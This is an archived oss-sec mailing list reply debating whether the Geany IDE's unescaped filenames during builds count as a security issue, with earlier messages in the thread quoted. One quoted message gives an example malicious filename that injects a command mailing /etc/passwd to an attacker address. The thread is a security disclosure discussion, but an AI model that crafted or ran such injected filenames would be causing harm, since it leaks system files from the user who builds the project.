oss-sec mailing list archives
Re: Geany IDE not escaping filenames during compilation / build - a security issue or not?
From: Jan Lieskovsky <jlieskov () redhat com>
Date: Thu, 13 Dec 2012 06:21:32 -0500 (EST)
Hi Andreas, I think it's unlikely to happen for one file. But what for project with (hundred, thousand of) small files? Is the user prior building expected to investigate file name of each of them for sanity? This is where trust boundary is crossed - someone could send you a tarball: "Here is the source you were searching for." You would go to build it in Geany.. The difference when running it directly from the command line is that Bash would escape those files for you, so even with crafted names nothing bad / suspicious would happen (and project would build if syntactically correct). To the difference, in the Geany scenario, the file name(s) would be passed to command line directly as they are (and if the project would build or not at the end isn't what matters here). Regards, Jan. -- Jan iankko Lieskovsky / Red Hat Security Response Team P.S.: Above based on my short playing with Geany. While original exploit mentions just one file case, looks the same is possible for projects (having multiple Makefiles). ----- Original Message ----- On 12/13/2012 06:54 AM, Eitan Adler wrote:
On 12 December 2012 11:51, Jan Lieskovsky <jlieskov () redhat com> wrote:The questions: 1) should Geany escape the filenames?,Up to the maintainers.2) is this a security issue or not?Unlikely. Is there a way a malicious document could cause code execution without user action?
Extremely unlikely. The way to get someone to trigger this is to send a source-file to a developer who then opens it in geany without realizing that the file is named "mail evil () hackdom com -s teehee < /etc/passwd". The "attacked" developer then need to attempt to build it from geany's internal "build now" button. A simpler misdeed of similar charactaristics would be to ship a bogus ./configure script that people (who are not developers, mind you) blindly run and which executes bogus commands on behalf of the logged in user. Since the latter isn't really CVE-worthy, I doubt the former even comes close. -- Andreas Ericsson andreas.ericsson () op5 se OP5 AB www.op5.se Tel: +46 8-230225 Fax: +46 8-230231 Considering the successes of the wars on alcohol, poverty, drugs and terror, I think we should give some serious thought to declaring war on peace.
Current thread:
- Geany IDE not escaping filenames during compilation / build - a security issue or not? Jan Lieskovsky (Dec 12)
- Re: Geany IDE not escaping filenames during compilation / build - a security issue or not? Frank Lanitz (Dec 12)
- Re: Geany IDE not escaping filenames during compilation / build - a security issue or not? Eitan Adler (Dec 12)
- Re: Geany IDE not escaping filenames during compilation / build - a security issue or not? Andreas Ericsson (Dec 13)
- Re: Geany IDE not escaping filenames during compilation / build - a security issue or not? Jan Lieskovsky (Dec 13)
- Re: Geany IDE not escaping filenames during compilation / build - a security issue or not? Simon McVittie (Dec 13)
- Re: Geany IDE not escaping filenames during compilation / build - a security issue or not? Andreas Ericsson (Dec 13)
- Re: Geany IDE not escaping filenames during compilation / build - a security issue or not? Colomban Wendling (Dec 13)
- Re: Geany IDE not escaping filenames during compilation / build - a security issue or not? Andreas Ericsson (Dec 13)
- Re: Geany IDE not escaping filenames during compilation / build - a security issue or not? Matthew Brush (Dec 13)
- Re: Geany IDE not escaping filenames during compilation / build - a security issue or not? Andreas Ericsson (Dec 13)